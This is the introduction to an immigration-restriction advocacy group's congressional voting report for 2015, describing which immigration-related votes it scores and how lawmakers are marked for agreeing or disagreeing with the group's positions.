The Voting Report is designed to help you understand how your lawmakers voted on immigration measures during the First Session of the 114th Congress in furtherance of a rational immigration system.<\/p>\n<p>Despite having complete control of Congress and the majority of Americans behind them, Republican leaders showed little desire to pursue true immigration reforms or rein in the Obama administration&#8217;s flagrant abuse of executive power. However, both chambers did consider several important immigration-related amendments, nominations, and bills in 2015. Specifically, this report includes votes on:<\/p>\n<ul>\n<li>Defunding President Obama&#8217;s unlawful executive amnesty programs<\/li>\n<li>Nominating pro-amnesty U.S. District Attorney Loretta Lynch to become Attorney General<\/li>\n<li>Defunding State and local jurisdictions with dangerous &#8220;sanctuary city&#8221; policies<\/li>\n<\/ul>\n<p>The Voting Report includes a brief summary of each vote and indicates whether FAIR supported or opposed the measure. If your Senators and Representative voted with FAIR&#8217;s position, you will see a <span style=\"color: #339966;\">green plus sign (+)<\/span>. If your Senators and Representative voted against FAIR&#8217;s position, you will see a <span style=\"color: #ff0000;\">red minus sign (-)<\/span>.<\/p>\n<p>We encourage all of our members to review the Congressional Voting Report and learn more about how their lawmakers are representing them.
